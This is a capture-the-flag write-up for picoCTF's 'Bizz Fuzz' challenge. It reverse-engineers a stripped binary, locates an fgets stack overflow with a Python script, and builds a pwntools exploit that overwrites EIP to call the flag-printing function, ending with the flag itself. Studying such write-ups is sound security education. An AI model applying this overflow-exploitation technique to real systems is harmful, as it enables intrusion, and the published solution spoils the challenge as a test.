Bizz Fuzz
18 minutes to read
We are given a 32-bit binary called vuln
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
We do not have the source code of the binary, and it is stripped:
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=836e2f666bd53c2307bff4801d330e444556a006, stripped
Reverse engineering
Reversing the binary will be more challenging because we do not have the names of the functions. However, if we open it in Ghidra, we can easily identify the main
function (the one called by __libc_start_main
, inside a function usually named by Ghidra as entry
):
void entry() {
__libc_start_main(FUN_0814c22c);
do {
/* WARNING: Do nothing block with infinite loop */
} while (true);
}
Ghidra will name functions with their addresses. We can rename a function right-clicking on its name, so we can refer to FUN_0814c22c
as main
. This is the function:
void main() {
setbuf(stdout,(char *) 0x0);
FUN_0811d5b3();
FUN_0811d941();
puts("fizz");
FUN_0811ead2();
puts("buzz");
puts("fizz");
FUN_0811fbb3();
FUN_08120828();
puts("fizz");
puts("buzz");
FUN_08121d33();
puts("fizz");
FUN_08122908();
FUN_08122ea8();
puts("fizzbuzz");
FUN_081237e9();
FUN_081241ca();
puts("fizz");
FUN_081255ef();
puts("buzz");
puts("fizz");
FUN_08127392();
FUN_08127c08();
puts("fizz");
puts("buzz");
FUN_081294b8();
puts("fizz");
FUN_0812a7b4();
FUN_0812b0ae();
puts("fizzbuzz");
FUN_0812c368();
FUN_0812c6f6();
puts("fizz");
FUN_0812d430();
puts("buzz");
puts("fizz");
FUN_0812edb3();
FUN_0812f1b9();
puts("fizz");
puts("buzz");
FUN_081309d7();
puts("fizz");
FUN_08131dba();
FUN_08132072();
puts("fizzbuzz");
FUN_0813282a();
FUN_0813326e();
puts("fizz");
FUN_08133b70();
puts("buzz");
puts("fizz");
FUN_08135115();
FUN_081355d3();
puts("fizz");
puts("buzz");
FUN_08137124();
puts("fizz");
FUN_08137f92();
FUN_08138931();
puts("fizzbuzz");
FUN_0813979b();
FUN_08139ba1();
puts("fizz");
FUN_0813ac2a();
puts("buzz");
puts("fizz");
FUN_0813ca30();
FUN_0813cf2e();
puts("fizz");
puts("buzz");
FUN_0813e2a2();
puts("fizz");
FUN_0813f4d8();
FUN_0813fe56();
puts("fizzbuzz");
FUN_08140c2e();
FUN_081413de();
puts("fizz");
FUN_0814215d();
puts("buzz");
puts("fizz");
FUN_08142af1();
FUN_08143724();
puts("fizz");
puts("buzz");
FUN_081451af();
puts("fizz");
FUN_08145c2a();
FUN_0814668f();
puts("fizzbuzz");
FUN_081470c9();
FUN_08147792();
puts("fizz");
FUN_0814868f();
puts("buzz");
puts("fizz");
FUN_0814a663();
FUN_0814ac03();
puts("fizz");
puts("buzz");
}
Odd function, isn’t it? Let’s see the first called function (FUN_0811d5b3
):
void FUN_0811d5b3() {
int iVar1;
iVar1 = FUN_080486b1(4);
if (iVar1 != 4) {
FUN_081451af();
iVar1 = FUN_080486b1(4);
if (iVar1 != 4) {
FUN_0812d430();
iVar1 = FUN_080486b1(10);
if (iVar1 != 10) {
FUN_0812d430();
iVar1 = FUN_080486b1(7);
if (iVar1 != 7) {
FUN_08140c2e();
iVar1 = FUN_080486b1(0x11);
if (iVar1 != 0x11) {
FUN_0811d5b3();
iVar1 = FUN_080486b1(2);
if (iVar1 != 2) {
FUN_0813e2a2();
iVar1 = FUN_080486b1(0xe);
if (iVar1 != 0xe) {
FUN_0813fe56();
iVar1 = FUN_080486b1(6);
if (iVar1 != 6) {
FUN_08137124();
iVar1 = FUN_080486b1(0xe);
if (iVar1 != 0xe) {
FUN_08142af1();
iVar1 = FUN_080486b1(2);
if (iVar1 != 2) {
FUN_08127392();
iVar1 = FUN_080486b1(0xc);
if (iVar1 != 0xc) {
FUN_0812f1b9();
iVar1 = FUN_080486b1(3);
if (iVar1 != 3) {
FUN_08146b6b();
iVar1 = FUN_080486b1(0x11);
if (iVar1 != 0x11) {
FUN_0812edb3();
iVar1 = FUN_080486b1(8);
if (iVar1 != 8) {
FUN_081309d7();
iVar1 = FUN_080486b1(0x11);
if (iVar1 != 0x11) {
FUN_08140c2e();
iVar1 = FUN_080486b1(9);
if (iVar1 != 9) {
FUN_0814ac03();
iVar1 = FUN_080486b1(0x11);
if (iVar1 != 0x11) {
FUN_0812b0ae();
iVar1 = FUN_080486b1(0x12);
if (iVar1 != 0x12) {
FUN_0814668f();
iVar1 = FUN_080486b1(0xb);
if (iVar1 != 0xb) {
FUN_080fc4b8();
iVar1 = FUN_080486b1(0x11);
if (iVar1 != 0x11) {
FUN_0811ead2();
iVar1 = FUN_080486b1(3);
if (iVar1 != 3) {
FUN_08142af1();
iVar1 = FUN_080486b1(4);
if (iVar1 != 4) {
FUN_08120828();
iVar1 = FUN_080486b1(7);
if (iVar1 != 7) {
FUN_0813ac2a();
iVar1 = FUN_080486b1(7);
if (iVar1 != 7) {
FUN_08127392();
iVar1 = FUN_080486b1(6);
if (iVar1 != 6) {
FUN_08138931();
iVar1 = FUN_080486b1(10);
if (iVar1 != 10) {
FUN_08147792();
iVar1 = FUN_080486b1(0xc);
if (iVar1 != 0xc) {
FUN_08140c2e();
iVar1 = FUN_080486b1(0xc);
if (iVar1 != 0xc) {
FUN_0811d941();
iVar1 = FUN_080486b1(3);
if (iVar1 != 3) {
FUN_0812d430();
iVar1 = FUN_080486b1(2);
if (iVar1 != 2) {
FUN_0814868f();
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
Even more strange. Anyways, this strange function is calling multiple times to FUN_080486b1
, which is a bit nicer:
uint FUN_080486b1(uint param_1) {
int iVar1;
uint uVar2;
char acStack30[9];
undefined local_15;
size_t local_14;
uint local_10;
local_10 = 1;
while (true) {
while (true) {
while (true) {
if (param_1 <= local_10) {
return local_10;
}
printf("%zu? ", local_10);
__isoc99_scanf("%9s", acStack30 + 1);
local_15 = 0;
local_14 = strnlen(acStack30 + 1, 8);
if (acStack30[local_14] == '\n') {
acStack30[local_14] = '\0';
}
if (local_10 != (local_10 / 0xf) * 0xf) break;
iVar1 = strncmp(acStack30 + 1, "fizzbuzz", 8);
if (iVar1 != 0) {
return local_10;
}
local_10 = local_10 + 1;
}
if (local_10 % 3 == 0) break;
if (local_10 == (local_10 / 5) * 5) {
iVar1 = strncmp(acStack30 + 1, "buzz", 8);
if (iVar1 != 0) {
return local_10;
}
local_10 = local_10 + 1;
}
else {
uVar2 = strtol(acStack30 + 1, (char **) 0x0, 10);
if (local_10 != uVar2) {
return local_10;
}
local_10 = local_10 + 1;
}
}
iVar1 = strncmp(acStack30 + 1, "fizz", 8);
if (iVar1 != 0) break;
local_10 = local_10 + 1;
}
return local_10;
}
Finding an interesting function
This is an important function, I decided to call it get_some_data
. If we analyze it, we can guess what it is doing. For the sake of legibility, I translated it to Python code:
def get_some_data(param_1: int) -> int:
local_10 = 1
while True:
while True:
while True:
if param_1 <= local_10:
return local_10
acStack30 = input(f'{local_10}? ').strip()
if local_10 % 15 != 0:
break
if acStack30 != 'fizzbuzz':
return local_10
local_10 += 1
if local_10 % 3 == 0:
break
if local_10 % 5 != 0:
if acStack30 != 'buzz':
return local_10
local_10 += 1
elif acStack30 != str(local_10):
return local_10
local_10 += 1
if acStack30 != 'fizz':
return local_10
local_10 += 1
It is still difficult to read. If we simplify it a bit more, we have this function:
def get_some_data(param_1: int) -> int:
for local_10 in range(1, param_1):
acStack30 = input(f'{local_10}? ').strip()
if local_10 % 15 == 0:
if acStack30 != 'fizzbuzz':
return local_10
elif local_10 % 3 == 0:
if acStack30 != 'fizz':
return local_10
elif local_10 % 5 == 0:
if acStack30 != 'buzz':
return local_10
elif acStack30 != str(local_10):
return local_10
return param_1
Much better, right? Basically, it is playing FizzBuzz, which is a game where you need to say “fizzbuzz” if a number is a multiple of 15 (3 times 5), “fizz” if it is a multiple of 3, “buzz” if it is a multiple of 5 or the same number if it is not a multiple of 3 or 5.
We can try it in the Python REPL:
$ python3 -q
>>> get_some_data(5)
1? 1
2? 2
3? fizz
4? 4
5
>>> get_some_data(8)
1? 1
2? 2
3? fizz
4? 4
5? buzz
6? fizz
7? 7
8
>>> get_some_data(8)
1? 0
1
>>> get_some_data(8)
1? 1
2? 0
2
>>> get_some_data(8)
1? 1
2? 2
3? 0
3
Now we have a clearer idea of what the function does: we must follow the game until the end if we want to return the same number that it is passed as argument (param_1
), or break the game at any other number if we need a different value to be returned.
Understanding the program
Let’s check again the first called function in main
(shown above as well, FUN_0811d5b3
):
void FUN_0811d5b3() {
int iVar1;
iVar1 = get_some_data(4);
if (iVar1 != 4) {
FUN_081451af();
iVar1 = get_some_data(4);
if (iVar1 != 4) {
FUN_0812d430();
iVar1 = get_some_data(10);
if (iVar1 != 10) {
FUN_0812d430();
iVar1 = get_some_data(7);
if (iVar1 != 7) {
// more stuff
}
}
}
}
}
This strange function will call get_some_data(4)
, and if the returning value is 4, we do not enter in the if
clause and exit the strange function FUN_0811d5b3
.
Then we will go to another strange function (FUN_0811d941
):
void main() {
setbuf(stdout,(char *) 0x0);
FUN_0811d5b3();
FUN_0811d941();
puts("fizz");
// more stuff
}
Which is similar, but calling first get_some_data(7)
:
void FUN_0811d941() {
int iVar1;
iVar1 = get_some_data(7);
if (iVar1 != 7) {
FUN_0814668f();
iVar1 = get_some_data(6);
if (iVar1 != 6) {
FUN_0811ead2();
iVar1 = get_some_data(5);
if (iVar1 != 5) {
// more stuff
}
}
}
}
If we pass these two strange functions, the program will print “fizz” in the command line. Let’s verify it:
$ ./vuln
1? 1
2? 2
3? fizz
1? 1
2? 2
3? fizz
4? 4
5? buzz
6? fizz
fizz
1?
Finding the Buffer Overflow vulnerability
Alright, but we still need to find the Buffer Overflow. The description of the challenge says that there is only one.
If we check the functions called by the binary inside Glibc, we discover that only fgets
and scanf
(__isoc99_scanf
) can read from standard input (stdin
):
$ readelf -r vuln
Relocation section '.rel.dyn' at offset 0x3dc contains 3 entries:
Offset Info Type Sym.Value Sym. Name
08155ff4 00000506 R_386_GLOB_DAT 00000000 __gmon_start__
08155ff8 00000806 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0
08155ffc 00000a06 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x3f4 contains 11 entries:
Offset Info Type Sym.Value Sym. Name
0815600c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
08156010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
08156014 00000307 R_386_JUMP_SLOT 00000000 fgets@GLIBC_2.0
08156018 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0815601c 00000607 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
08156020 00000707 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
08156024 00000907 R_386_JUMP_SLOT 00000000 fopen@GLIBC_2.1
08156028 00000b07 R_386_JUMP_SLOT 00000000 strnlen@GLIBC_2.0
0815602c 00000c07 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
08156030 00000d07 R_386_JUMP_SLOT 00000000 strncmp@GLIBC_2.0
08156034 00000e07 R_386_JUMP_SLOT 00000000 strtol@GLIBC_2.0
If we use Ghidra to find all references to fgets
(this can be done going to .got.plt
and right-clicking on fgets
), we find a lot of weird functions that call fgets
multiple times.
Fortunately, the first one that appears on the list actually prints the flag:
void FUN_08048656() {
char local_74[100];
FILE *local_10;
local_10 = fopen("flag.txt", "r");
fgets(local_74, 100, local_10);
puts(local_74);
/* WARNING: Subroutine does not return */
exit(0);
}
So I renamed it as print_flag
. Probably, this will be the function we need to call after exploiting the hidden buffer overflow (namely, point $eip
to the address of print_flag
, which is 0x08048656
).
The rest of the functions that referenced fgets
are weird but have a similar structure:
void FUN_0804883a() {
char local_42[50];
int local_10;
local_10 = get_some_data(0x21);
if (local_10 == 1) {
fgets(local_42, 0x28, stdin);
}
if (local_10 == 2) {
fgets(local_42, 0x10, stdin);
}
if (local_10 != 3) {
if (local_10 == 4) {
fgets(local_42, 0x27, stdin);
}
if (local_10 != 5 && local_10 != 6) {
if (local_10 == 7) {
fgets(local_42, 0x24, stdin);
}
if (local_10 == 8) {
fgets(local_42, 8, stdin);
}
if (local_10 != 9 && local_10 != 10) {
if (local_10 == 0xb) {
fgets(local_42, 0x10, stdin);
}
if (local_10 != 0xc) {
if (local_10 == 0xd) {
fgets(local_42, 0x31, stdin);
}
if (local_10 == 0xe) {
fgets(local_42, 0x1c, stdin);
}
if (local_10 != 0xf) {
if (local_10 == 0x10) {
fgets(local_42, 0x13, stdin);
}
if (local_10 == 0x11) {
fgets(local_42, 0x1d, stdin);
}
if (local_10 != 0x12) {
if (local_10 == 0x13) {
fgets(local_42, 0x2c, stdin);
}
if (local_10 != 0x14 && local_10 != 0x15) {
if (local_10 == 0x16) {
fgets(local_42, 0x18, stdin);
}
if (local_10 == 0x17) {
fgets(local_42, 0x1a, stdin);
}
if (local_10 != 0x18 && local_10 != 0x19) {
if (local_10 == 0x1a) {
fgets(local_42, 0x1a, stdin);
}
if (local_10 != 0x1b) {
if (local_10 == 0x1c) {
fgets(local_42, 9, stdin);
}
if (local_10 == 0x1d) {
fgets(local_42, 6, stdin);
}
if (local_10 != 0x1e) {
if (local_10 == 0x1f) {
fgets(local_42, 0x32, stdin);
}
if (local_10 == 0x20) {
fgets(local_42, 0x27, stdin);
}
}
}
}
}
}
}
}
}
}
}
}
If we arrive to one of these functions, we will have additional space to enter data. However, taking the previous weird function as an example, local_42
has a buffer of 50 bytes, and none of the fgets
is reading more than 50 bytes, so there is no overflow.
Since there are a lot of weird functions that use fgets
and the challenge said that there is one buffer overflow, there must be a function where fgets
reads more bytes than the buffer reserved for the local variable.
To find the vulnerable function, I exported all the decompiled source code from Ghidra (vuln.c
) and used a Python script to extract lines that start with char local_
or contain fgets(local_
. After that, I extracted the reserved buffer for the local variable and the buffer read by fgets
using regular expressions. If the buffer read by fgets
is greater than the reserved one, there is a buffer overflow, and hence, we print the name of the vulnerable function.
This is the Python script:
#!/usr/bin/env python3
import re
def main():
with open('vuln.c') as f:
all_lines = f.read().splitlines()
lines = []
for i, line in enumerate(all_lines):
if line.startswith(' char local_') or 'fgets(local_' in line:
lines.append((i, line.strip()))
print('Parsed lines. Total:', len(lines), '/', len(all_lines))
i = 0
while i < len(lines):
n, line = lines[i]
if 'char local' in line:
buffer = int(re.findall(r'char local_.. \[(\d+?)\];', line)[0])
i += 1
_, next_line = lines[i]
while 'fgets(local' in next_line and i < len(lines):
used_buffer_str = re.findall(
r'fgets\(local_..,([x0-9a-f]+?),.*?\);', next_line)[0]
used_buffer = int(
used_buffer_str, 16 if 'x' in used_buffer_str else 10)
if used_buffer > buffer:
print('Reserved:', buffer, 'B. Used:', used_buffer, 'B')
print('Function name:', all_lines[n - 3])
i += 1
if i < len(lines):
_, next_line = lines[i]
if __name__ == '__main__':
main()
If we run the script, we discover the vulnerable function:
$ python3 find_bof.py
Parsed lines. Total: 20369 / 119248
Reserved: 87 B. Used: 348 B
Function name: void FUN_0808ae73()
Now we can go to Ghidra, find it and rename it as has_bof
:
void has_bof() {
char local_67[87];
int local_10;
local_10 = get_some_data(0x14);
if (local_10 == 1) {
fgets(local_67, 0x15c, stdin);
}
if (local_10 == 2) {
fgets(local_67, 0x3e, stdin);
}
// more stuff
}
Here we have the Buffer Overflow vulnerability, since the reserved buffer is 87 and fgets
is reading 348 bytes (0x15c
).
Opening way to the vulnerable function
Now we need to find references to this function, and there is only one weird function: FUN_08109f08
. I decided to call it calls_has_bof
:
void calls_has_bof() {
char local_67[87];
int local_10;
local_10 = get_some_data(0x2e);
if (local_10 == 1) {
fgets(local_67, 0x44, stdin);
}
if (local_10 == 2) {
fgets(local_67, 0x1c, stdin);
}
if (local_10 != 3) {
if (local_10 == 4) {
fgets(local_67, 0x43, stdin);
}
if (local_10 == 5) {
has_bof();
}
// more stuff
}
}
In order to arrive at has_bof
from calls_has_bof
we need get_some_data(0x2e)
to return 5 (namely, lose the FizzBuzz game at number 5).
Now we find references to calls_has_bof
, and we have a strange function: FUN_081313b8
, which I called calls_calls_has_bof
(I will not show it because the reference to the function is in “depth 22”, I will explain it later).
After that, we look for references to calls_calls_has_bof
, and there is another strange function: FUN_08143ffd
, which I renamed to calls_calls_calls_has_bof
. The reference is in “depth 1”:
void calls_calls_calls_has_bof() {
int iVar1;
iVar1 = get_some_data(0x11);
if (iVar1 != 0x11) {
FUN_0811ead2();
iVar1 = get_some_data(5);
if (iVar1 != 5) {
calls_calls_has_bof();
iVar1 = get_some_data(0xf);
// more stuff
}
}
}
Hopefully, you may have notice what “depth 1” is: once we are in calls_calls_calls_has_bof
, we need to enter in the first if
clause (losing the FizzBuzz game), exit from the strange function FUN_0811ead2
(winning the FizzBuzz game) and then enter in the second if
clause (losing the FizzBuzz game) in order to enter calls_calls_has_bof
.
So, “depth 1” means that we need to pass one strange function (in this case, FUN_0811ead2
).
We continue by finding references to calls_calls_calls_has_bof
. Here we can find four strange functions, I chose FUN_0813ca30
, which was renamed to calls_calls_calls_calls_has_bof
(unexpectedly). This one is “depth 8”.
Finally, if we find references to calls_calls_calls_calls_has_bof
, we get to main
:
void main() {
setbuf(stdout,(char *)0x0);
FUN_0811d5b3();
FUN_0811d941();
puts("fizz");
FUN_0811ead2();
puts("buzz");
puts("fizz");
FUN_0811fbb3();
FUN_08120828();
puts("fizz");
puts("buzz");
FUN_08121d33();
puts("fizz");
FUN_08122908();
FUN_08122ea8();
puts("fizzbuzz");
FUN_081237e9();
FUN_081241ca();
puts("fizz");
FUN_081255ef();
puts("buzz");
puts("fizz");
FUN_08127392();
FUN_08127c08();
puts("fizz");
puts("buzz");
FUN_081294b8();
puts("fizz");
FUN_0812a7b4();
FUN_0812b0ae();
puts("fizzbuzz");
FUN_0812c368();
FUN_0812c6f6();
puts("fizz");
FUN_0812d430();
puts("buzz");
puts("fizz");
FUN_0812edb3();
FUN_0812f1b9();
puts("fizz");
puts("buzz");
FUN_081309d7();
puts("fizz");
FUN_08131dba();
FUN_08132072();
puts("fizzbuzz");
FUN_0813282a();
FUN_0813326e();
puts("fizz");
FUN_08133b70();
puts("buzz");
puts("fizz");
FUN_08135115();
FUN_081355d3();
puts("fizz");
puts("buzz");
FUN_08137124();
puts("fizz");
FUN_08137f92();
FUN_08138931();
puts("fizzbuzz");
FUN_0813979b();
FUN_08139ba1();
puts("fizz");
FUN_0813ac2a();
puts("buzz");
puts("fizz");
calls_calls_calls_calls_has_bof();
// more stuff
}
Alright. For the moment, we have discovered the function we want to call (print_flag
), the vulnerable function (has_bof
) and the path to that function. Now we need to automate the process.
First, we will automate the process of arriving at calls_calls_calls_calls_has_bof
inside main
:
messages = [...]
def pass_messages(p):
while len(messages):
data = p.recvuntil(b'? ').decode().splitlines()
if len(data) >= 2:
if data[0] != messages.pop(0):
log.error('Unexpected message')
if len(data) == 3:
if data[1] != messages.pop(0):
log.error('Unexpected message')
number = int(data[-1].rstrip('? '))
p.sendline(answer(number))
The function pass_messages
uses a list of expected messages (all the data printed by the program: “fizz”, “buzz”, “fizz”, “fizz”, “buzz”, “fizz”, “fizzbuzz” and so on until arriving to calls_calls_calls_calls_has_bof
, in order).
The way to check that everything is correct is taking the received data from the process p
and remove the expected messages from the list if they match (if not, something wrong has happened). The task is held until there are no more messages.
The answer
function does the FizzBuzz stuff:
def answer(n: int) -> bytes:
if n % 15 == 0:
return b'fizzbuzz'
if n % 3 == 0:
return b'fizz'
if n % 5 == 0:
return b'buzz'
return str(n).encode()
Once passed all messages, we enter inside calls_calls_calls_calls_has_bof
.
In order to enter inside the next function (calls_calls_calls_has_bof
), we need to pass 8 strange functions (“depth 8”). Let’s define this functionality:
def get_number(p) -> int:
return int(p.recvuntil(b'? ').decode().rstrip('? '))
def pass_function(p):
number = get_number(p)
p.sendline(answer(number))
while (number := get_number(p)) != 1:
p.sendline(answer(number))
def pass_functions(p, depth: int):
p.sendlineafter(b'? ', b'0')
for _ in range(depth):
pass_function(p)
p.sendline(b'0')
log.info(f'Passed {depth} function' + ('s' if depth > 1 else ''))
Basically, what pass_functions
does is the process shown before with the “depth 1” example. We send a 0
to lose the FizzBuzz game, then we win the next game and fail the next one. This task is repeated depth
times, in order to enter in the next desired function.
To summarize:
calls_calls_calls_calls_has_bof
callscalls_calls_calls_has_bof
with “depth 8”calls_calls_calls_has_bof
callscalls_calls_has_bof
with “depth 1”calls_calls_has_bof
callscalls_has_bof
with “depth 22”calls_has_bof
callshas_bof
if we return 5 fromget_some_data
has_bof
calls vulnerablefgets
if we return 1 fromget_some_data
Exploit development
So, we can write this main
function for the Python exploit:
def main():
p = get_process()
pass_messages(p)
log.info('Passed messages')
pass_functions(p, 8)
pass_functions(p, 1)
pass_functions(p, 22)
for i in range(4):
p.sendlineafter(b'? ', answer(i + 1))
p.sendlineafter(b'? ', b'0')
log.info('Arrived to vulnerable fgets()')
p.interactive(prompt='')
Let’s start with the exploitation process. If we run the script, we should get to the vulnerable fgets
:
$ python3 solve.py
[+] Starting local process './vuln': pid 495650
[*] Passed messages
[*] Passed 8 functions
[*] Passed 1 function
[*] Passed 22 functions
[*] Arrived to vulnerable fgets()
[*] Switching to interactive mode
1? 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Got EOF while reading in interactive
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 495650)
[*] Got EOF while sending in interactive
Nice, segmentation fault (SIGSEGV). Notice that I entered a 0 and 8 spaces before the A
characters (because get_some_data
reads 9 bytes).
Let’s attach GDB to the process and calculate the offset to reach $eip
. In order to break at the vulnerable fgets
, we can find the address of the the call instruction to get_some_data
inside has_bof
in Ghidra (namely 0x0808ae8a
). This can be added as a GDB script with pwntools
:
gdb.attach(p, gdbscript='break *0x0808ae8a\ncontinue')
Now if we execute it, the Python script will call GDB:
$ python3 solve.py
[+] Starting local process './vuln': pid 496748
[*] running in new terminal: ['/usr/bin/gdb', '-q', './vuln', '496748', '-x', '/tmp/pwngwheh6z6.gdb']
[+] Waiting for debugger: Done
[*] Passed messages
[*] Passed 8 functions
[*] Passed 1 function
[*] Passed 22 functions
[*] Arrived to vulnerable fgets()
[*] Switching to interactive mode
Now we have the control on GDB, we can create a pattern:
gef➤ pattern create 200
[+] Generating a pattern of 200 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] Saved as '$_gef0'
gef➤ continue
And we return the control to the Python script. We can enter the 0, the 8 spaces and then the pattern:
$ python3 solve.py
[+] Starting local process './vuln': pid 496748
[*] running in new terminal: ['/usr/bin/gdb', '-q', './vuln', '496748', '-x', '/tmp/pwngwheh6z6.gdb']
[+] Waiting for debugger: Done
[*] Passed messages
[*] Passed 8 functions
[*] Passed 1 function
[*] Passed 22 functions
[*] Arrived to vulnerable fgets()
[*] Switching to interactive mode
1? 0 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
And we get the segmentation fault. Let’s check GDB:
gef➤ pattern create 200
[+] Generating a pattern of 200 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] Saved as '$_gef0'
gef➤ continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x61617961 in ?? ()
At this point, we can get the offset needed to overwrite the $eip
register:
gef➤ pattern offset $eip
[+] Searching for '$eip'
[+] Found at offset 95 (little-endian search) likely
[+] Found at offset 94 (big-endian search)
So, we need 95 characters to control $eip
. Now, we can add the address of print_flag
(0x08048656
, which is static since there is no PIE protection) to the payload:
def main():
p = get_process()
pass_messages(p)
log.info('Passed messages')
pass_functions(p, 8)
pass_functions(p, 1)
pass_functions(p, 22)
for i in range(4):
p.sendlineafter(b'? ', answer(i + 1))
p.sendlineafter(b'? ', b'0')
log.info('Arrived to vulnerable fgets()')
offset = 95
junk = b'A' * offset
print_flag_addr = 0x08048656
payload = junk + p32(print_flag_addr)
p.sendlineafter(b'? ', b'0' + b' ' * 8 + payload)
log.success(f'Flag: {p.recvline().decode()}')
p.close()
Let’s test it locally (we need to create a fake flag.txt
):
$ echo THISISTHEFLAG > flag.txt
$ python3 solve.py
[+] Starting local process './vuln': pid 504168
[*] Passed messages
[*] Passed 8 functions
[*] Passed 1 function
[*] Passed 22 functions
[*] Arrived to vulnerable fgets()
[+] Flag: THISISTHEFLAG
[*] Process './vuln' stopped with exit code 0 (pid 504168)
Flag
Perfect, let’s try it on the remote instance (it takes around one minute):
$ python3 solve.py mercury.picoctf.net 62213
[+] Opening connection to mercury.picoctf.net on port 62213: Done
[*] Passed messages
[*] Passed 8 functions
[*] Passed 1 function
[*] Passed 22 functions
[*] Arrived to vulnerable fgets()
[+] Flag: picoCTF{y0u_found_m3}
[*] Closed connection to mercury.picoctf.net port 62213